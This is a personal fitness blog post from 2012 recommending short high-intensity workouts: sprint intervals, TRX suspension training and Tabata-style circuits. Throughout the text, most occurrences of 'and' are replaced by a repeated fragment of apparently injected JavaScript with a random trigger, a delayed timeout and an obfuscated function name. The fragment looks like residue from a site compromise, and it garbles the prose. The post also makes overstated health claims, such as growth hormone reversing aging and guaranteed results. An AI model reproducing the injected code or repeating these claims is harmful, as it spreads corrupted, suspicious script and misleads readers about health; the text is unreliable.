Turn Your Body Into A Fat Burning Machine

Posted On : July 16, 2012

I used to be a big believer in “more is better.” Nowhere in my life did I apply this philosophy more than in my own fitness training. I subjected myself to countless forms of extreme exercise in order to achieve optimum health. As thrilling as these activities were, I often injured myself andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and felt older than my age warranted.

For my fortieth birthday, I set a goal to be in the best shape of my life. My extreme fitness regimes were not moving me in that direction. In my quest to be my best, I came across mounting evidence proving that merely 20 minutes of high intensity exercise is more beneficial to one’s body than 60 minutes of aerobic activity. My “more is better” brain had trouble believing it but the data was compelling.

According to current research, human growth hormone (HGH) gets released during high intensity exercises such as sprinting. HGH is often referred to as “the fountain of youth hormone.” Why?  Because it is the “master hormone” of the body. HGH is directly responsible for stimulating tissue repair, cell replacement, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and brain andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and enzyme function. It helps grow cells, bones, muscles, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and organs. HGH also burns fat andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and slows the aging process. High levels of HGH surging through your blood stream have even been known to REVERSE the aging process.

For the past two years, I have applied this twenty-minute, high-intensity workout theory to my own training andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and I’ve recommended it to many patients, family, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and friends. The results have been fantastic! What I’ve determined is that twenty minutes of the correct exercise at high intensity ABSOLUTELY will get you in better shape than long hours in the gym or pounding the pavement for a 10-mile run. Now, at forty-two, I am in better shape than I was at twenty-two because of the changes I’ve made to my diet andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and exercise regime.

I have found the following three exercises give me the best results for my twenty-minute workout. If you will consistently follow this plan 5-6 times a week for at least 21 days, you will find that you’ll raise your metabolism, you’ll burn more calories the hours immediately after your workout, you’ll build more muscle, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and you’ll turn your body into a fat-burning machine.

Sprunning

This is where you perform a cardio type exercise such as running, walking, biking, or swimming but instead of doing so at an average pace for a long period of time, you do repeated 30 second sprints with rest periods in between. It looks like this:

  • 2 minute warm up at an easy pace.
  • 30 second sprint as hard as you can.
  • 90 seconds at an easy pace.
  • Then repeat 30-second sprints 8 times following each sprint with 90 second at an easy pace.
  • When you have completed 8 sprints, finish with a 2-minute walk or cool down.

The high intensity sprints signal your body to release HGH. This total workout should only take about 20 minutes. Perform a sprunning workout 2-3 times a week.

Want to make it more intense? Find a good hill to sprint up. Nothing will get you in as good as shape as a 20-minute hill sprun!

Not up to running yet? You can sprun at a walking pace as well. Just make sure you are pushing yourself as hard as you can during your 30-second walking sprints.

Suspension Training
The first thing to realize is the more muscle your body has the faster your metabolism will work. When people don’t incorporate some type of strength training routine into their workout, they miss a great opportunity not only to look andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and feel strong but to speed up their metabolism.

The key is to not bulk up from your weight training. You want functional strength that helps you prevent injuries andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and feel stronger throughout your day. One of the best ways to achieve functional strength is through Suspension Training.

Suspension training, such as the TRX (Total body Resistance eXerscise), is unique because the exercises you perform use your whole body, especially your core. With two straps that hang from a bar you can do just about any exercise using the weight of your body andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and gravity as the resistance. It doesn’t take many repetitions to see andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and feel results. A twenty-minute workout is not only tough, but will make you crazy strong.

Check out the TRX website at: www.trxtraining.com

Interval Training

Old school is back! Push ups, pull ups, lunges, squats, jumping jacks, step ups, burpees, floor sprints andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and other such exercises will get you in amazing shape if done with enough intensity. I love interval training because you can do it anywhere with no equipment. With interval training the idea is to continually get your heart rate up andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and down for twenty minutes. Here’s how it works.

  • Pick an exercise you are going to perform (push ups, step ups, mountain climbers, jumping jacks, running in place, etc.)
  • Set a timer for 20 seconds.
  • Go all out with one of the exercises for 20 seconds. As many andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and as hard as you can.
  • Rest for 10 seconds
  • Repeat again for 20 seconds. Rest for 10 seconds.
  • Repeat for a total of 8 repetitions.
  • That should take a total of 4 minutes.

Pick 5 exercises andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and you have yourself an intense 20-minute workout.

You should be out of breath, sweating, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and tired after 20 minutes of interval training.

You can download a free app for your smart phone called Tabatta Timer to get a timer that will help you with this workout.

Here are some other key concepts to remember when trying to maximize your results in as little time as possible.

  • Workout first thing in the morning. This will raise your metabolism early in the day andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and cause your body to burn more calories throughout the day.
  • 80% of how you look will be determined by what you eat. Want to show off the muscles you are building? Cut out the starchy carbs andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and sugar. This will take you out of an insulin-resistant state andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and allow your body to burn fat more effectively.
  • Get enough sleep. There is growing evidence that sleeping can help you lose weight. How cool is that? Your body repairs, regenerates, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and even burns calories when you’re asleep. Research is now showing that people who don’t get enough sleep, or who are night owls, have a more sluggish metabolism. For maximum results, make sure you are in your deepest sleep between 11pm andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and 3am. These are the hours when the cells of your body are designed to rejuvenate.

Feeling good doesn’t take a whole lot of time. Knowing the key concepts to apply to your fitness andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and weight loss plans is key. Incorporate these three exercises (Sprunning, Suspension Training, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Interval Training) 5-6 times a week into your exercise routine for at least three weeks andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and you WILL be in the best shape of your life!